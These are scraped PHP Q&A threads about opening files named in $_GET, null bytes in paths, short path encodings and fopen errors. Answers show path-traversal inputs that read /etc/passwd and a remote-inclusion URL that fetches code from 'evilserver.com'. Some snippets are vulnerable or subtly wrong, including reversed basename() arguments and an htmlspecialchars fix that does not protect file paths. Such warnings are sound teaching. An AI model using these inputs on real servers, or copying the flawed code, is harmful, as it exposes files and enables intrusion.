is_file($_GET) and security - php

I'm using this code on top of my PHP file for loading cached files and I'm worried whether it's secure enough:
//quick! load from cache if exists!
if (is_file('cache/'.($cachefile=basename('/',$_GET['f']))))
{
header('content-type: text/css');
require('cache/'.$cachefile);
die(); //ALL OK, loaded from cache
}
EDIT: I would also like to know if it isn't, how is it exploitable and how to rewrite it in safe manner.
EDIT 2: I edited code, from previous code, I don't know how I could thought that is_file will filter bad paths >.<
EDIT 3: Changed it again, so it uses basename() instead of end(explode()) and also changed inclusion from repeating the code into assigning the value into variable during first comparison (or file check).
I never just include($_GET), but today, I somehow thought is_file will filter out paths, that may harm my system. I don't know how.
Thank you

I could send $_GET['f'] = '../../database_passwords.xml' ...
Use basename to eliminate anything but the last segment of the passed path. Alternatively, construct the path, then compute the absolute path that corresponds and check if it's still within cache/.

BAD!
What about:
page.php?f=../../../../../etc/password
Never do such things
Check f against a white list or specific pattern like "[a-z]+.php"

No it isn't. I could put '../../anypath' in $_GET['f'] and gain access to any file on your server, even those outside your www root.
[edit]
It would be a lot safer if you would check for '/' and other invalid characters in the value. It is pretty safe if that filename only contains alphanumeric characters and . and _.

Related

Which special characters can cause a file path to be misinterpreted?

For example, there is function (pseudo code):
if ($_GET['path'] ENDS with .mp3 extension) { read($_GET['path']); }
but is it possible, that hacker in a some way, used a special symbol/method, i.e.:
path=file.php^example.mp3
or
path=file.php+example.mp3
or etc...
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
p.s. DONT POST ANSWERS about PROTECTION! I NEED TO KNOW IF THIS CODE can be bypassed, as I AM TO REPORT MANY SCRIPTS for this issue (if this is really an issue).
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
Yes, such a symbol exists; it is called the 'null byte' ("\0").
Because in C (the language used to write the PHP engine) the end of a 'string' is signalled by the null byte. So, whenever a null byte is encountered, the string will end.
If you want the string to end with .mp3 you should manually append it.
Having said that, it is, generally speaking, a very bad idea to accept a user supplied path from a security standpoint (and I believe you are interested in the security aspect of this, because you originally posted this question on security.SE).
Consider the situation where:
$_GET['path'] = "../../../../../etc/passwd\0";
or a variation on this theme.
The leading concept in programming is "Don't trust user input". So the main problem in your case is not a special character its how you work with your data. So you shouldn't use a path given by a user because the user can manipulate the path or other variables.
To escape a user input to prevent bad characters you can use htmlspecialchars or you can filter your get input with filter_input something like that:
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
WE CAN'T TELL IF YOU IF THE CODE CAN BE "BYPASSED" BECAUSE YOU'VE NOT GIVEN US ANY PHP CODE
As to the question of whether its possible to trick PHP into processing a file it shouldn't based on the end of the string, then the answer is only if there is another file somewhere else which has the same ending. However, by default, PHP will happily read from URLs using the same functionality as reading from local files, consider:
http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3

PHP - alternative to Base64 with shorter results?

I'm currently using base64 to encode a short string and decode it later, and wonder if a better (shorter) alternative is possible.
$string = '/path/to/img/image.jpg';
$convertedString = base64_encode($string);
// New session, new user
$convertedString = 'L3BhdGgvdG8vaW1nL2ltYWdlLmpwZw==';
$originalString = base64_decode('L3BhdGgvdG8vaW1nL2ltYWdlLmpwZw==');
// Can $convertedString be shorter by any means ?
Requirements :
Shorter result possible
Must be reversible any time in a different session (therefore unique)
No security needed (anyone can guess it)
Any kind of characters that can be used in a URL (except slashes)
Can be an external lib
Goal :
Get a clean unique id from a path file that is not the path file and can be used in a URL, without using a database.
I've searched and read a lot, looks like it doesn't exist but couldn't find a definitive answer.
Well since you're using these in a URL, why not use rawurlencode($string) and rawurldecode($encodedString)?
If you can reserve one character like - (i.e., ensure that - never appears in your file names), you can do even better by doing rawurlencode(str_replace('/', '-', $string)) and str_replace('-', '/', rawurldecode($encodedString)). Depending on the file names you pick, this will create IDs that are the same length as the original filename. (This won't work if your file names have multi-byte characters in them; you will need to use some mb_* functions for that case.)
You could try using compression functions, but for strings as short as file paths, compression usually makes the output larger than the input.
Ultimately, unless you are willing to use a database, disallow certain file names, or you know something about what kinds of file names will come up, the best you can hope for is IDs that are as short or almost as short as the original file names. Otherwise, this would be a universal compression function, which is impossible.
I don't think there is anything reliable out there that would significantly shorten the encoded string and keep it URL friendly.
e.g. if you use something like
$test = gzcompress(base64_encode($parameter), 9, ZLIB_ENCODING_DEFLATE);
echo $test;
it would generate characters that are not URL-friendly and any post-transformation would be just a risky mess.
However, you can easily transform text to get URL-friendly parameters.
I use the following code to generate URL-friendly parameters:
$encodedParameter = urlencode(base64_encode($parameter));
And the following code to decode it:
$parameter = base64_decode(urldecode($encodedParameter));
As an alternative solution, you could use generated tokens to map known files using some database.

Upper or Lower Case Issue using get_file_contents php

I am using a PHP GET method to grab a file name that then is placed in a get_file_contents command. If it is possible, I would like to ignore letter case so that my URL's are cleaner.
For instance, example.com/file.php?n=File-Name will work but example.com/file.php?n=file-name will not work using the code below. I feel like this should be easy but I'm coming up dry. Any thoughts?
$file = $_GET['n'];
$file_content = file_get_contents($file);
Lowercase all your filenames and use:
file_get_contents(strtolower($file));
(I hope you're aware of some of the risks involved in using this.)
The Linux filesystem is case sensitive. If you want to do case insensitive matching against files that already exist on the user's machine, your only option is to obtain a directory listing and do case-insensitive comparison.
But you don't explain where the download URLs come from. If you already know the correct filenames and you want to generate prettier URLs, you can keep a list of the true pathnames and look them up when you receive a case-normalized one in a URL (you could even rename them completely, obfuscate, etc.)

Problem with $_GET and fopen

I have a weird problem with $_GET method. I have a php code like this:
$fopen("files/" . $_GET['file'], "r");
When i write file path parameter my self It's run good but when I get the file name from $_GET method it shows me some error like the path is wrong.
What's wrong with it ?
Is there any special encoding for $_GET method to decode it to the right string style. I tried urldecode but it wasn't make any change.
Number one rule is to sanitize your input. Using $_GET like that is just asking for trouble.
Do the right thing. Put the $_GET value into a variable, verify that it is valid input THEN try to open the file.
As said at the bottom:
Try to dump the $_GET with print, print_r or var_dump
Try to sanitize the input
Remove the leading $ in your code (**$**fopen)
Test if file exists in the specified directory with if(is_file($path)
Isn't the problem caused by file extencion or permissions?
There could be more. It also depends on system you use (Win, Unix, Mac..).
Don't EVER use user input without validation, especially not for opening files on the host computer! I cannot overstate just how dangerous this is. What if someone entered a GET string with the value '../../../../../etc/password' into your application?

Why is fopen() behaving like this?

I am currently working on this project which requires me to make a function which dinamically decides the directory name and then creates a simple .txt file in that directory.
my code is as follows:
($destinatario is a string)
$diretorio="../messages/".$destinatario;
if (is_dir($diretorio)) {
;
}else{
mkdir($diretorio);
}
$path=$diretorio."/".$data.",".$assunto.",".$remetente.".txt";
$handle=fopen($path,'w+');
fwrite($handle, $corpo);
fclose($handle);
nevermind the portuguese, but the bottom line is that it should create a .txt file using the naming guidelines i've provided. The funny thing is that when i do this, php creates this weird file whose filename is "01.09.2010 04"
(with no extension at all) which amounts to the first few characters of the actual filename i'd like to create...
edit($data is actually the output from a call to date("d.m.Y H:i"))
Per comment by OP:
[$data is] actually the output of a call to date("d.m.Y H:i")
The problem is the : character. (Still, there may be other illegal characters in the other parts composing the final file name.)
EDIT
The essence of the problem and solution is in the comments to #tchen's answer. Keep in mind that colon is a valid file name character on (some? all?) *nix platforms but is invalid on Windows.
Make sure there's no bad characters at the end of $data. Call trim() on it.
If it's data taken from a file, it may have a '\r' or '\n' at the end of it.
Not related, but make sure your if statements don't have unused conditions:
if (!is_dir($diretorio)) {
mkdir($diretorio);
}
This will also get rid of that blank line with a single terminator ;, I'm sure that isn't right.
Some ideas:
have you tried not using commas in the filename?
Have you checked the return value if fopen and fwrite?
Just to try to isolate the problem
also you can simplify to:
if (!is_dir($diretorio)) {
mkdir($diretorio);
}

Categories